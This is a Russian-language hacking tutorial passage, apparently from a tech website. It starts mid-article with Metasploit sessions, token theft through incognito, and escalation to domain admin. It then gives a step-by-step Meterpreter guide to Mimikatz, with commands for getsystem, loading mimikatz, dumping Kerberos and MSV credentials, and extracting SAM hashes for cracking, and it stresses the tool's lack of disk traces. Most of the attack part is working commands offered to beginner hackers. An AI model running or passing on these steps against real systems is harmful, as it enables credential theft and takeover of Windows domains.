с которой возникает проблема - слушающий порт не может быть одинаков. Поэтому использую payload windows/meterpreter/bind_tcp.

Запущу свой скриптик.

Наблюдаем 9 сессий и аккаунт localadmin"а.

Поищем ещё хеши, теперь делаем это традиционно вручную, взаимодействуя с каждой сессией и дампя хеши.
Альтернативно можно испоьзовать модуль credential collector. Этот модуль даст нам хеши и (что важно!) задействует incognito и look для токенов доменов. К сожалению, модуль требует запускать себя вручную шаг за шагом для каждой сессии, если конечно нет соответствующего файла, где они хранятся...


Запускаю сбор хешей и токенов.

Сессии 5 и 6 кажется имеют интересные токены доменов.

Попытка украсть домен и вуаля - мы имеем доступ уровня админа домена.

Пример показал некоторые возможности Metasploit и компонентов этой платформы.
PS: Удачи в ненарушении КПК (!#)

Metasploit - настолько мощный инструмент, что мы в статьях можем только слегка поцарапать поверхность его возможностей. Постоянная его разработка и улучшения ведутся много лет, и сейчас Metasploit можно использовать практически для любых задач, начиная от разведывательных действий, пост-эксплуатации и заканчивая скрытием ваших следов. Учитывая его универсальность, каждый начинающий хакер должен иметь хотя бы поверхностное понимание того, как работать с Metasploit.

Всякий раз, когда выходит какой-нибудь мощный модуль пост-эксплуатации, каждый пользователь Metasploit должен знать об этом, потратить время и научиться его использовать. Mimikatz - один из таких модулей. Он был создан Бенджамином Делпи (Benjamin Delpy) с ником gentilkiwi, который разработал его, чтобы выучить язык C, а заодно исследовать Windows на безопасность. В принципе, этот модуль способен извлекать различные наборы учетных данных Windows прямо из оперативной памяти.

Первоначально Mimikatz разрабатывался как автономный модуль, который мы можем загружать или запускать локально на целевом компьютере. Но недавно Rapid7 портировали его для Metasploit, сделав из него сценарий для Meterpreter. Преимущество этого подхода заключается в том, что он работает полностью в памяти, не оставляя на жестком диске никаких следов своего присутствия, которые могут быть в последствии обнаружены.

В этом уроке мы будем использовать модуль Metasploit, который немного ограничен в своих возможностях, но мы обещаем, что сделаем в ближайшее время подробную статью о более мощном автономном инструменте.

Еще один ключевой момент перед тем, как мы начнем: есть 32- и 64-битные версии Mimikatz. Часто Mimikatz загружает 32-битную версию, если мы использовали 32-битный процесс для компрометации системы. Если вдруг это произойдет, то Mimikatz будет практически полностью нефункциональным. Чтобы избежать этой потенциальной проблемы необходимо использовать команду «migrate» для перевода Meterpeter в 64-битный процесс перед загрузкой Mimkatz. Таким образом, он загрузит 64-битную версию, и вы получите, наконец, доступ ко всем его потрясающим возможностям.

Шаг 1. Эксплуатация целевой машины и использование полезных нагрузок Meterpreter

Mimikatz - это пост-эксплуатационный модуль, а это означает, что его можно использовать только после того, как цель будет эксплуатирована. В результате мы начнем рассмотрение работы этого модуля, исходя из предположения о том, что вы успешно произвели эксплуатацию уязвимости на целевой машине и установили полезную нагрузку (payload) Meterpreter в целевой системе. Кроме того, для работы Mimikatz вам понадобятся полномочия системного администратора. Если вы провели эксплуатацию уязвимостей целевой системы как обычный пользователь, то вы можете использовать команду getsystem для получения расширенных прав.

Meterpreter > getsystem

Теперь, когда у нас есть привилегии администратора, нам нужно загрузить модуль Mimikatz.

Meterpreter> load mimikatz

Теперь посмотрим справку.

Meterpreter> help mimikatz

Как вы можете видеть, у Mimikatz есть несколько собственных команд и специальная команда mimikatz_command, которая позволяет запускать пользовательские команды.

Meterpreter > mimikatz_command -f version

Metasploit портировал только версию 1.0, хотя Mimikatz находится в версии 2.0 (следите за нашими следующими статьями об использовании автономной версии Mimikatz 2.0).

Шаг 2. Собственные команды

Начнем с того, что посмотрим, что можно сделать с системой при помощи собственных команд Mimikatz. Если мы хотим получить учетные данные Kerberos, нужно просто ввести:

Meterpreter> kerberos

Мы можем получить учетные данные Windows MSV, набрав:

Meterpreter> msv

Шаг 3. Mimikatz_Command

Mimikatz также позволяет создавать пользовательские команды. Команды принимают следующий синтаксис. Обратите внимание на двойное двоеточие (: 🙂 между типом команды и действием команды.

Mimikatz_command -f::

Если мы хотим получить хеши паролей из файла SAM, мы можем использовать такую команду:

Meterpreter > mimikatzcommand -f samdump::hashes

Конечно, получив эти хеши, мы можем взломать их любым из нескольких инструментов для взлома паролей, таким как «Cain и Abel», Hashcat, «John the Ripper» и другие.

Если мы хотим получить список сервисов, запущенных на целевой системе, то можем использовать команду service в сочетании командой list.

Meterpreter > mimikatz_command -f service::list

Шаг 4. Crypto

У Mimikatz есть специальный тип команды, которая обрабатывает зашифрованную информацию и, как вы могли догадаться, называется она crypto. Используя эту команду, мы можем получить список поставщиков шифрования на целевой системе.

Meterpreter > mimikatz_command -f crypto::listProviders


© 2024
zane-host.ru - Программы. Компьютеры. Сетевое оборудование. Оргтехника